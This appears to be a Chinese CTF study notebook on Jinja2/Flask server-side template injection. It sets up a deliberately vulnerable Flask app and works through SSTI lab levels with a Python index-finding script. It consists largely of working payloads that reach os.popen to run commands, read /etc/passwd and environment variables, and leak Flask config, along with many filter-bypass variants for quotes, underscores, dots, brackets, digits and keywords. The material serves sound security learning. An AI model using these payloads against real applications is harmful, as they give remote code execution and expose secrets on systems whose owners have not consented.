SSTI CTF的魅力就在于此:规则是用来打破的,限制是用来绕过的
序 ssti
开始文章:https://tttang.com/archive/1698/#toc _
另外的好文章:https://r4x.top/2025/07/14/ssti1/index.html#%E9%98%B2%E5%BE%A1%E5%88%86%E5%B1%82
flask搭建: app.py
1 2 3 4 5 6 7 在 Flask 项目中,app.py 通常是整个应用的核心入口文件。 1 .实例化应用:创建 Flask 类的实例,即 app = Flask (__name__)。这是所有后续操作的基础 [1, 2] 。2 .配置管理:加载数据库连接字符串、密钥(Secret Key)或调试模式等配置信息 [3] 。3 .路由定义(Routes):建立 URL 路径与 Python 函数之间的映射。通过 @app.route ('/' ) 装饰器告诉程序:当用户访问某个地址时,应该执行哪段逻辑 [2, 4] 。4 .组件集成:连接数据库插件(如 Flask-SQLAlchemy)、注册蓝图(Blueprints)以及中间件 [5] 。5 .启动服务:在开发环境下,通过 app.run () 启动内置的 Web 服务器 [1, 2] 。
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask//导入Flask类.用于后面实例化出一个WSGI应用程序. app = Flask(__name__) //创建Flask实例,传入的第一个参数为模块或包名. @app.route('/' ) /*使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这里的话就是把helloworld这个函数与这个url绑定*/ def hello_world (): return 'Hello World!' if __name__ == '__main__' : app.run() //app.run()函数让应用在本地启动
pycharm默认搭建flask项目:
1 2 3 4 5 一些注解: 在 Python 中,def 是 define (定义)的缩写,它是用来声明一个函数的关键字。
模板的诞生:
在给出模板渲染代码之前,我们先在本地构造一个html界面作为模板,位置在"flaskProject\templates\,也就是模板渲染代码的相同位置下,有一个名templates的文件夹,在里面写入一个html文件,内容如下
严格的:test.html
1 2 3 4 5 6 7 8 <html > <head > <title > SSTI</title > </head > <body > <h3 > Hello, {{name}}</h3 > </body > </html >
这里的话,<span>{</span>{}<span>}</span>内是需要渲染的内容,此时我们写我们的模板渲染代码(app.py),内容如下
更改最初的flask的app.py的内容接入test.py
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask, request, render_templateapp = Flask(__name__) @app.route('/' ,methods=['GET' ] ) def hello_world (): query = request.args.get('name' ) return render_template('test.html' , name=query) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True ) //让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web,同时开启debug,方便调试。
随后访问:127.0.0.0:5000
此时/?name={ {7*7}} 没有诞生49这种结果
漏洞成因: 以上两个文件放在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask,request,render_template_stringapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def index (): name = request.args.get('name' ) template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> ''' % (name) return render_template_string(template) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
此时输入语句被解析
1 2 render_template函数在渲染模板的时候使用了%s来动态的替换字符串,Flask中使用了Jinja2 作为模板渲染引擎, {{}} 在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把 {{}} 包裹的内容进行解析。比如 {{7 *7 }} 会被解析成49。
1 2 3 template 变量会变成 ...<h3 > Hello, {{7 *7 }} !</h3 > ...。 Jinja2 引擎在渲染时,会执行 {{ }} 里的表达式。 页面最终会显示 Hello, 49 !
为什么合并写会触发ssti
1 2 3 4 5 当我将html文件放在templates文件夹 需要使用这种语句 # app.py 里的逻辑 return render_template('index.html' , user_name=name )这样,输入的 name 被 Flask 严格当作数据(Data )传递给模板。即使 name 的值是 {{7 *7 }},Jinja2 引擎在解析 index .html 时,也只会把这串字符当成普通文本渲染出来,而不会去执行它。
另外::
1 2 3 4 5 即便你把 HTML 分开写了,如果你在 HTML 模板内部使用了 |safe 过滤器,依然会手动关掉保护,产生漏洞: html <h3 > Hello, {{ user_name | safe }} !</h3 >
漏洞利用: python的魔术方法和内置类: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 —class— __class__ 用于返回该对象所属的类示例: >>> 'abcd' .__class__ <class 'str' > >>> ().__class__ <class 'tuple' > —base— __base__ 用于获取类的基类(也称父类)示例: >>> "" .__class__ <class 'str' > >>> "" .__class__ .__base__ <class 'object' > —mro— __mro__ 返回解析方法调用的顺序。(当调用_mro_ [1 ]或者-1 时作用其实等同于_base_ )示例: >>> "" .__class__ .__mro__ (<class 'str' >, <class 'object' >) >>> "" .__class__ .__mro__ [1 ] <class 'object' > >>> "" .__class__ .__mro__ [-1 ] <class 'object' > —subclasses—() __subclasses__ ()可以获取类的所有子类示例 >>> "" .__class__ .__mro__ [-1 ].__subclasses__ () [<class 'type' >,<class 'dict_keys' >, <class 'dict_values' >, <class 'dict_items' >...]
过滤器 文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器. 其实就是可以实现一些简单的功能,比如attr()过滤器可以实现代替.,join ()可以将字符串进行拼接,reverse 可以将字符串反置等等 具体如下所示 length() # 获取一个序列或者字典的长度并将其返回 int ():# 将值转换为int类型; float():# 将值转换为float类型; lower():# 将字符串转换为小写; upper():# 将字符串转换为大写; reverse ():# 反转字符串; replace(value,old,new ): # 将value中的old替换为new list():# 将变量转换为列表类型; string():# 将变量转换成字符串类型; join ():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用 attr(): # 获取对象的属性
基本语句 拿当前类 1 2 3 4 /?name= {{"".__class__ }} 或者 /?name= {{().__class__ }} 本质是构造一个空字符串,然后往下索引
拿基类 一个疑问
1 2 /?name= {{"".__class__.__bases__ [0]}} /?name= {{"".__class__.__bases__ [-1]}}
都返回
1 Hello, <class 'object' > !
1 2 3 在这个只有 1 个元素的元组中: 下标 [0] 是它。 下标 [-1] (最后一个)也是它。
1 2 3 4 5 6 7 在 Python 的世界里,object 是万物之源。无论你从什么对象开始追踪,最终都会指向它: 起始对象 .__ class __ .__ bases__ [0 ] "" (字符串) <class 'str' > <class 'object' >[] (列表) <class 'list' > <class 'object' > 123 (整型) <class 'int' > <class 'object' >为什么要找 object ? 在 SSTI 攻击中,找到 object 就像是找到了“控制中心的后门钥匙”。因为 object 类下有一个魔术方法叫做 .__ subclasses__ ()。
拿到基类的子类 1 /?name= {{"".__class__.__bases__ [0].__subclasses__()}}
1 2 3 4 利用链 列出所有子类:{{ "" .__class__.__bases__[0 ].__subclasses__() }}。 寻找危险类:在这个巨大的列表里寻找能执行命令的类,比如 os ._wrap_close 或 warnings.catch_warnings。 调用方法:通过选定的类进入 __init__.__globals__ 寻找 os 模块,最终执行 os .popen ('whoami' ).read ()。
找可利用的类,寻找那些有回显的或者可以执行命令的类 大多数利用的是os._wrap_close这个类,
我们这里可以用一个简单脚本来寻找它对应的下标
1 2 3 4 5 6 7 8 9 10 11 import requests headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36' } for i in range(500): url = "http://127.0.0.1:5000/?name=\ {{().__class__.__bases__[0].__subclasses__()[" +str(i)+"]}}" res = requests.get (url =url, headers =headers) #print (res.text) if 'os._wrap_close' in res.text: print (i)
1 2 PS C:\Users\lilyzero207> python - u "c:\U sers\l ilyzero207\D esktop\s sti寻找下标.py" 156
所以是156
利用恶意点 1 /?name= {{"".__class__.__bases__ [0].__subclasses__()[156]}}
1 返回Hello, <class 'os._wrap_close' > !
接下来就可以利用os。_wrap_close,这个类中有popen方法,我们去调用它 首先 先调用它的__init__方法进行初始化类
1 /?name= {{"".__class__.__bases__ [0].__subclasses__()[156].__init__}}
1 返回:Hello, <function _wrap_close.__init__ at 0x000001853115AC00> !
问题:
1 2 3 4 5 6 为什么要调用 __init__ 在 Python 中,每个类被定义时,都会关联到它所在模块的“全局变量空间”。 __init__ 是这个类的初始化函数。通过 __init__ ,我们可以访问到该函数被定义时所处的环境,即 __globals__ 。
尝试拜访globals
1 /?name= {{"".__class__.__bases__ [0].__subclasses__()[156].__init__.__globals__}}
返回了诸如:
1 Hello, {'__name_ _': ' os', ' __doc__': "OS routines for NT or Posix depending on what system we' re on.\n\nThis exports:\n - all functions from posix or nt, e.g. unlink, stat, etc.\n - os.path is either posixpath or ntpath\n - os.name is either 'posi x' or ' nt'\n - os.curdir is a string representing the current directory (always ' .')\n - os.pardir is a string representing the parent directory (always ' ..')\n - os.sep is the (or a most common) pathname separator (' /' or ' \\\\')\n - os.extsep is the extension separator (always ' .')\n - os.altsep is the alternate pathname separator (None or ' /')\n - os.pathsep is the component separator used in $PATH etc\n - os.linesep is the line separator in text files (' \\r' or ' \\n' or ' \\r\\n')\n - os.defpath is the default search path for executables\n - os.devnull is the file path of the null device (' /dev/null', etc.)\n \n Programs that import and use ' os' stand a better chance of being\n portable between different platforms. Of course, they must then\n only use functions that are defined by all platforms (e.g., unlink\n and opendir), and leave all pathname manipulati
1 2 3 它会返回一个巨大的字典, 里面包含了 os._wrap_close 这个类在创建时, 它所在的 .py 文件中所有能访问到的变量、函数和导入的模块。
字典中得到了:
1 '__builtins__': {'__name__': 'builtins', '__doc__':
1 'popen' : <function popen at 0x000001853115AAC0 >, '_wrap_close' : <class 'os._wrap_close' >, 'fdopen' : <function fdopen at 0x000001853115AB60 >, '_fspath' : <function _fspath at 0x000001853115AFC0 >, 'PathLike' : <class 'os.PathLike' >, '_AddedDllDirectory' : <class 'os._AddedDllDirectory' >, 'add_dll_directory' : <function add_dll_directory at 0x000001853115B060 >} !
利用链 1 2 3 4 5 在 __globals__ 字典里找到了__popen__ __builtins__模块 调用 popen:__globals__.['popen']('whoami') 读取结果:.read() 最终 /?name= {{"".__class__.__bases__ [0].__subclasses__()[156].__init__.__globals__['popen']('dir' ).read()}}
1 /name= {{"".__class__.__bases__ [0]. __subclasses__()[138].__init__.__globals__['popen']('dir' ).read()}}
此时还有:比较厉害的模块,就是__builtins__,它里面有eval()等函数,我们可以也利用它来进行RCE 它的payload是
1 {{url_for.__globals__ ['__builtins__']['eval']("__import__('os').popen('dir').read()" )}}
实战:labs-1 sstilabs-1
调整了下上面的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36' } for i in range(500): url = "http://node5.anna.nssctf.cn:20360/level/1" payload = { "code" : "{{().__class__.__bases__[0].__subclasses__()[" +str(i)+"]}}" } res = requests.post(url =url, headers =headers, data =payload) if 'os._wrap_close' in res.text: print (i)
找到是:
构造到了这一步
1 code= {{"".__class__.__bases__ [0].__subclasses__()[133].__init__.__globals__}}
得到flag
1 NSSCTF {ace93a23-7 b6b-4051 -abb3-a2e4157f1597}
1 {{"".__class__.__bases__ [0].__subclasses__()[133].__init__.__globals__['popen']('ls' ).read()}}
读到了当前目录
1 {{"".__class__.__bases__ [0].__subclasses__()[133].__init__.__globals__['popen']('dir' ).read()}}
同
1 {{"".__class__.__bases__ [0].__subclasses__()[133].__init__.__globals__['popen']('env' ).read()}}
这样就比较具体的读到了flag
绕过 sstilabs全详解
https://sangnigege.github.io/2025/07/13/25SSTI-Lab%E5%85%A8%E8%AF%A6%E8%A7%A3/#%E5%89%8D%E8%A8%80
绕过双大括号 labs-2` 详解绕过:https://blog.csdn.net/weixin_28339967/article/details/158553279
labs-2
1 2 3 4 利用jinja2的语法,用{%来进行RCE {% ... %}用来标记语句,比如 if 语句,for 语句等 在里面可以执行print 语句
1 {%print("" .__class__ .__bases__ [0 ].__subclasses__ ()[133 ].__init__ .__globals__ ['popen' ]('env' ).read())%}
绕过[] labs-4 labs-4
经常有中括号被ban的情况出现,这个时候可以使用__getitem__ 魔术方法,它的作用简单说就是可以把中括号转换为括号的形式,
1 {{"".__class__.__bases__.__getitem__ (0 ).__subclasses__().__getitem__(133 ).__init__.__globals__.__getitem__('popen' )('env' ).read()}}
本质就是
1 __bases__ [0] == __bases__ .__getitem__ (0)
另外,可使用:
1 {{lipsum.__globals__.os.popen ('ls /' ).read()}}
绕过单双引号 labs-5 labs-5
用request模块注入
使用request模块进行绕过,request模块在os._wrap_close中,可使用脚本查询
get方法
1 2 /?qwq=ls code= {{lipsum.__globals__.os.popen (request.args.qwq ).read()}}
1 2 /?nss=ls code= {{url_for.__globals__.os.popen (request.args.nss ).read()}}
post方法
1 code= {{url_for.__globals__.os.popen (request.form.nss ).read()}} &nss=env
为什么这样做:
1 2 3 4 5 6 7 8 在 Jinja2 模板中,你可以直接访问 request 对象。 request.args 是 GET 参数字典。 request.args.qwq 会自动获取 URL 中 ?qwq =xxx 的值,且这个值在 URL 里是不需要带引号的字符串。 逻辑: 你在 POST 的 Payload 里写 request.args.os。 你在 URL 后面加 ?os =os&pop=popen&cmd=cat /flag。 Jinja2 执行时,request.args.os 就会变成字符串 "os"
知识:
1 args 是 arguments (参数)的缩写。在 HTTP 协议中,它专门指代 URL 参数,也就是我们常说的 Query String (查询字符串)。
再提
1 在 Flask 中,POST 参数字典,指的通常是 request.form
为什么不同于之前的payload
1 2 3 4 5 6 7 8 9 1.前面的 {{"".__class__.__bases__ [0].__subclasses__()[133].__init__.__globals__['popen']('env' ).read()}} 是从""的空字符串开始逐层挖掘 2.这里的url_for和lipsum是Flask/Jinja2框架主动提供的“高权限函数” url_for 和 lipsum 在被设计出来时,为了完成它们的功能,本身就驻留在核心模块里 url_for 属于 Flask 核心,它的“朋友圈”(__globals__)里默认就躺着 os 模块或其相关引用。 lipsum 是 Jinja2 的内置函数,它被定义在 jinja2.utils 模块里,而这个模块为了处理文件路径,开头第一行通常就是 import os lipsum`是`jiaja`中的全局函数
如果request被ban
利用chr()
1 2 3 4 5 6 {% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%} {{().__class__.__bases__.[0].__subclasses__ ().pop(40 )(chr (47 )+chr(101 )+chr(116 )+chr(99 )+chr(47 )+chr(112 )+chr(97 )+chr(115 )+chr(115 )+chr(119 )+chr(100 )).read()}} # 等价于 {{().__class__.__bases__ [0].__subclasses__().pop(40 )('/etc/passwd' ).read()}}
绕过args -request的get模块失效 1 2 3 4 5 6 7 8 9 当使用args 的方法绕过'和"时,可能遇见args 被ban的情况,这个时候可以采用request.cookies和request.values,他们利用的方式大同小异,示例如下 1.在cookie注入 GET:{{url_for.__globals__[request.cookies.a]}} COOkie: "a" :'__builtins__' 2.在post 注入 利用post 参数字典request.form 3.在get或者post 注入 request.values = request.args (URL 参数) + request.form (POST 表单数据)。
绕过下划线_ labs-6 labs-6
1、通过list获取字符列表,然后用pop来获取_,然后使用过滤器(获取符号)
1 {% set a=(()|select|string|list).pop(24)%} {%print (a)%}
为什么这样可以构造出_:
1 2 3 4 5 6 7 8 ()|string 的结果是 '()' (没用)。 某些过滤器或类转字符串后会带有下划线。 在你的例子中,(()|select |string ) 得到的字符串里,第 24 个字符(下标从 0 开始)正好就是 _。 (()|select |string ):得到一个包含描述文字的字符串 |list:将这个字符串转换成列表 "abc" 变成 ['a' , 'b' , 'c' ] .pop(24 ):从列表中取出索引为 24 的那个字符 {% set a = ... %}:将取出的 _ 赋值给变量 a
拿到了,然后怎么构造出要的东西
1 2 3 4 5 比如构造__class__ {% set u = (()| select| string| list).pop(24 ) %} # 假设取出的是 _ {% set class = u ~ u ~ "class" ~ u ~ u %} # 拼接成 "__class__"
然后利用 attr() 过滤器来调用
1 2 3 {{ ()|attr (class ) }} # 等同于 {{ ().__class__ }}
构造语句:
1 {% set u = (()| select| string| list).pop(24 ) %} {% set class = u ~ u ~ "class" ~ u ~ u %} {{ ()| attr(class) }}
1 {% set u = (()|select|string|list).pop(24) %}{% set globals = u ~ u ~ "globals" ~ u ~ u %} {{ lipsum |attr(globals ).os.popen('env' ).read() }} 错误!!!
出错:
重构:
1 {% set u = (()|select|string|list).pop(24) %}{% set nss = u ~ u ~ "globals" ~ u ~ u %} {{ (lipsum |attr(nss )).os.popen('env' ).read() }}
2.过滤器attr和request注入的联合使用
1 2 /?nss=__globals__ {{ (lipsum |attr(request.args.nss ))['popen']('env' ).read() }}
一定注意(lipsum|attr(request.args.nss))这里俩括号
3.十六进制编码方式*(错误)
1 2 例子: {{()["\x5f\x5fclass\x5f\x5f"] }} 等同于 // {{().__class__ }}
构造:
1 2 3 4 5 6 7 8 9 10 11 "" .__class__= "" |attr(__class__)= "" |attr("\x 5f\x 5f\x 63\x 6c\x 61\x 73\x 73\x 5f\x 5f" )那么这里的话我们就可以把下划线进行十六进制编码绕过 原payload ().__class__.__base__.__subclasses__()[133 ].__init__.__globals__['popen']('cat flag').read() 中括号这里用getitem转换为括号 ().__class__.__base__.__subclasses__().__getitem__(133 ).__init__.__globals__.__getitem__('popen')('cat flag').read() 转换过后的 {{()|attr("\x 5f\x 5f\x 63\x 6c\x 61\x 73\x 73\x 5f\x 5f" )|attr("\x 5f\x 5f\x 62\x 61\x 73\x 65\x 5f\x 5f" )|attr("\x 5f\x 5f\x 73\x 75\x 62\x 63\x 6c\x 61\x 73\x 73\x 65\x 73\x 5f\x 5f" )()|attr("\x 5f\x 5f\x 67\x 65\x 74\x 69\x 74\x 65\x 6d\x 5f\x 5f" )(133 )|attr("\x 5f\x 5f\x 69\x 6e\x 69\x 74\x 5f\x 5f" )|attr("\x 5f\x 5f\x 67\x 6c\x 6f\x 62\x 61\x 6c\x 73\x 5f\x 5f" )|attr("\x 5f\x 5f\x 67\x 65\x 74\x 69\x 74\x 65\x 6d\x 5f\x 5f" )('popen')('cat flag')|attr("read" )()}}
绕过点. labs-7 labs-7
1 2 3 4 1、用[]代替.,举个例子 {{"".__class__ }} = {{"" ['__class__']}} 2、用attr()过滤器绕过,举个例子 {{"".__class__ }} = {{"" |attr('__class__' )}}
exp
1 2 3 4 1. {{"" ['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']('env' )['read']()}} 2. {{"" |attr('__class__' )|attr('__bases__' )|attr("__getitem__" )(0 )|attr('__subclasses__' )()|attr("__getitem__" )(133 )|attr('__init__' )|attr('__globals__' )|attr("__getitem__" )("popen" )('env' )|attr('read' )()}}
对于payload2的问题:
1 2 3 4 5 |attr ('__bases__')[0 ]:attr 返回的是一个元组。但在 Jinja2 过滤器链中,你不能直接在过滤器后面加 [0 ]。你需要用 |attr ("__getitem__" )(0 ) 来代替 [0 ]。 [133 ] 索引问题:同理,索引列表也要用 |attr ("__getitem__" )(133 ) 或者确保前面的部分被括号正确包裹。 __globals__ 访问:__globals__ 是一个字典。访问字典的 popen 键,标准做法是 |attr ("get" )("popen" ) 或者 |attr ("__getitem__" )("popen" )。
绕过数字 labs-9 lasbs-9
有时候可能会遇见数字0-9被ban的情况,这个时候我们可以通过count来得到数字,举个例子
1 {{(dict (e =a)|join|count)}} 得到1
1 2 3 4 5 6 7 8 9 dict(e=a): 在 Python/Jinja2 中,dict() 函数可以创建一个字典。 这里定义了一个键为 e,值为变量 a 的字典。结果是:{'e' : a}。 |join : join 过滤器作用于字典时,默认会提取字典所有的键(Keys )并拼接成字符串。由于字典里只有一个键 e,所以拼接后的结果就是字符串:"e" 。 |count (或 |length): count 过滤器会计算对象的长度。字符串 "e" 的长度正好是 1 。
1 2 3 构造 0: {{ ()|count }} (空元组长度为 0) 构造 1: {{ (dict (e =a)|join|count) }} 构造 2: {{ (dict (ee =a)|join|count) }} (键名长度为 2)
构造payload
1 2 3 4 原payload {{"".__class__.__bases__ [0].__subclasses__()[133].__init__.__globals__['popen']('ls' ).read()}} 新的: {{"".__class__.__bases__ [()|count].__subclasses__()[(dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count)].__init__.__globals__['popen']('ls' ).read()}}
另外,可以使用:
1 {{lipsum.__globals__.os.popen ('ls /' ).read()}}
绕过关键字 labs-8 有时候可能遇见class、base这种关键词被绕过的情况,我们这个时候通常使用的绕过方式是使用join拼接从而实现绕过,举个例子
方法1:
1 {{dict (__in =a,it__ =a)|join}} #等同于__init__
方法2:利用+拼接,可以用~拼接,也可以用关键字reverse逆转
1 2 {{lipsum ['__glob'+'als__']['o'+'s']['pop'+'en']('ls /' ).read()}} {{lipsum ['__glob'~'als__']['o'~'s']['pop'~'en']('ls /' ).read()}}
方法3:也可以用关键字reverse逆转
1 {{ lipsum['__slabolg__' | reverse ]['so' | reverse ]['nepop' | reverse ]('sl' | reverse )['daer' | reverse ]() }}
get config labs-10
1 2 3 4 5 flask内置函数: 函数 作用 lipsum 可加载第三方库 url_for 可返回url路径 get_flashed_ message 可获取消息
1 2 3 4 使用内置函数调用current_app 模块进而查看配置文件 current_app 可输出当前app (即flask )所以可以通过内置函数获得current_app 进而获得config
1 2 3 {{url_for.__globals__ ['current_app'].config}} 或者: {{get_flashed_messages.__globals__ ['current_app'].config}}
1 2 3 为什么这里{{lipsum.__globals__ ['current_app'].config}}不行 在 **lipsum** 的全局变量空间(`__globals__ `)里,通常**并没有直接存放 current_app 这个对象**
多重过滤1 1 bl['\'' , '"' , '+' , 'request' , '.' , '[' , ']' ]
1 2 join 关键字返回一个字符串,该字符串是序列中字符串的串联。元素之间的分隔符默认为空字符串,可以使用可选参数定义字符串。(ps :如果对象是字典,则只拼接 键 )
关键字绕过
过滤器join一般与dict()一起使用,可将字典的键名拼接得到新字符串:
# 假设关键字class被过滤
<span>{</span>{ ().__class__}<span>}</span>
# 使用过滤器join和dict()绕过,payload:
拆解:
在执行语句中
设置一个a
a1为__cl
a2为ass__
再利用join拼接
关于引号的绕过
1 2 3 4 5 原理:在 Python/Jinja2 中,dict (key =value) 里的 key 会被自动识别为字符串,而不需要加引号。 过程: dict (os=a) 会创建一个字典:{'os' : a}(这里的 a 是一个未定义的变量,默认为空/Undefined)。对该字典使用 |join 过滤器。在 Jinja2 中,对字典进行 join 操作会提取所有的 Key 并拼成字符串。 结果:变量 os 的值就变成了字符串 "os" 。
payload
本质:
1 {{lipsum.__globals__ ['os'].popen('ls' ).read()}}
所需payload
1 2 3 4 5 6 7 {% set getitem = dict(__getitem__=1 )| join %} {% set kg = ({}| select()| string()| attr(getitem)(10 ))%} {% set globals=dict(__globals__=a)| join %} {% set os=dict(os=a)| join %} {% set payload=(dict(ls=a)| join )| join %} {% set popen=dict(popen=a)| join %} {% set read=dict(read=a)| join %} {{lipsum| attr(globals)| attr(getitem)(os)| attr(popen)(payload)| attr(read)()}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { 1.将getitem变成"__getitem__" 2.构造空格 与第一条并用 3.将globals变成"__globals__" 4.将os变成"__os__" 5.将payload变为ls 6.将popen变成"popen" 7.将read变成"read" } {% set getitem = dict(__getitem__=1)|join %} {%print (a)%} {% set globals=dict(__globals__=a)|join %} {% set os=dict(os=a)|join %} {% set one=dict(ls=a)|join %} {% set popen=dict(popen=a)|join %} {% set read=dict(read=a)|join %} {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(one)|attr(read)()}} 读取到 ls {% set getitem = dict(__getitem__=1)|join %} {%print (a)%} {% set globals=dict(__globals__=a)|join %} {% set os=dict(os=a)|join %} {% set one=dict(env=a)|join %} {% set popen=dict(popen=a)|join %} {% set read=dict(read=a)|join %} {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(one)|attr(read)()}} 读取到env
多重过滤2 1 bl['_' , '.' , '0-9' , '\\' , '\'' , '"' , '[' , ']' ]
1 2 3 4 5 6 7 8 9 过滤了 ' " _ 0-9 . [ ] \ 空格
构造空格和下划线
payload
1 2 3 4 5 6 7 8 9 {%set nine = dict(aaaaaaaaa=a)|join |count%} {%set pop=dict(pop=a)|join %} {%set kg=(lipsum|string|list)|attr(pop)(nine)%} //空格 {%set eighteen=nine+nine%} {%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} //下划线 {%set globals=(xhx,xhx,dict(globals=a)|join ,xhx,xhx)|join %} {%set getitem=(xhx,xhx,dict(getitem=a)|join ,xhx,xhx)|join %} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join %} {% set payload=(dict(cat=cat)|join ,kg,dict(flag=flag)|join )|join %} {% set read=dict(read=a)|join %} {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
ll
1 {%set nine = dict(aaaaaaaaa=a)|join |count%} {%set pop=dict(pop=a)|join %} {%set kg=(lipsum|string|list)|attr(pop)(nine)%} {%set eighteen=nine+nine%} {%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} {%set globals=(xhx,xhx,dict(globals=a)|join ,xhx,xhx)|join %} {%set getitem=(xhx,xhx,dict(getitem=a)|join ,xhx,xhx)|join %} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join %} {% set payload=dict(env=a)|join %} {% set read=dict(read=a)|join %} {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
读取到flag
多重过滤3 1 bl['_' , '.' , '\\' , ' \'' , '"' , 'reques t', ' +', ' class', ' init', ' arg', ' config', ' app', ' self ', ' [', ' ]']
过滤了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 _ . \ '' "" request + class init arg config app self []
关键字用dict和join绕过
1 2 3 4 5 6 7 8 9 {% set pop=dict(pop=a)| join %} //根据pop方法 {% set kg=(lipsum| string| list)| attr(pop)(9 )%} //空格 {% set xhx=(lipsum| string| list)| attr(pop)(18 )%} //_ {% set one=dict(glo,bals)| join %} {% set oneth=(xhx,xhx,dict(one=a)| join ,xhx,xhx)| join %} {% set getitem=(xhx,xhx,dict(getitem=a)| join ,xhx,xhx)| join %} {% set os=dict(os=a)| join %} {% set popen=dict(popen=a)| join %} {% set payload=dict(env=a)| join %} {% set read=dict(read=a)| join %} {{lipsum| attr(globals)| attr(getitem)(os)| attr(popen)(payload)| attr(read)()}}
1 {{dict (__in =a,it__ =a)|join}} #等同于__init__
1 {%set nine = dict(aaaaaaaaa=a)|join |count%} {%set pop=dict(pop=a)|join %} {%set kg=(lipsum|string|list)|attr(pop)(nine)%} {%set eighteen= dict(aaaaaaaaaaaaaaaaaa=a)|join |count%} {%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} {%set globals=(xhx,xhx,dict(globals=a)|join ,xhx,xhx)|join %} {%set getitem=(xhx,xhx,dict(getitem=a)|join ,xhx,xhx)|join %} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join %} {% set payload=dict(env=a)|join %} {% set read=dict(read=a)|join %} {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
这里将十二题的18=9+9用键长度拼出,绕过+
知识集 1.关于标签{ {}} 和{ %%} 1 2 3 4 5 6 {{ ... }} (表达式标签):用于打印输出。它的作用是计算括号里的结果,并把它显示在网页上。类比:Python 里的 print()。 {% ... %} (语句标签):用于逻辑操作。它负责执行指令(如赋值、循环、判断),但不会在网页上直接显示任何内容。类比:Python 里的代码行(if , for , x = 1 )
2.获取符号 1 {% set a=(()|select|string|list).pop(24)%} {%print (a)%}
object后为空
1 2 http://127.0.0.1:5000/?name= {% set a=(()|select|string|list).pop(17)%} {%print (a)%} 得到空格
3.pop与popen 1 2 3 4 5 6 7 8 9 10 11 12 13 14 pop (字典/列表的操作) 作用:从一个集合(如字典或列表)中取出并删除一个元素。 在 SSTI 中的角色:它是用来找东西的。比如从 __globals__ 字典里把 os 模块“抠”出来。 类比:你从一个百宝箱(字典)里拿出(pop)了一把扳手。 popen (系统命令执行)作用:全称 "Pipe Open" ,用于打开一个管道执行系统命令。 在 SSTI 中的角色:它是用来搞破坏/拿权限的。它是 os 模块里的方法,负责把字符串变成真正的系统指令(如 ls, whoami)。 类比:你用那把扳手撬开(popen )了服务器的后门。 2. 执行层级的区别特性 pop popen 所属模块 Python 内置数据类型 (dict/list) os 模块 危险程度 中低(主要是泄露信息或破坏变量) 极高(远程代码执行 RCE) 返回值 被弹出的那个对象 一个文件对象(需要 .read () 才能看到内容) 常见用法 dict.pop('key' ) os .popen ('command' )
Fenjing进阶 主要文献参考:https://www.freebuf.com/articles/web/420286.html
1.有源码 2.无源码 例一:诚实大厅 fuzz出黑名单
然后插入本地的简单flask的漏洞app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask,request,render_template_stringapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def index (): name = request.args.get('name' ) template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> ''' % (name) return render_template_string(template) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
插入fuzz得到的黑名单
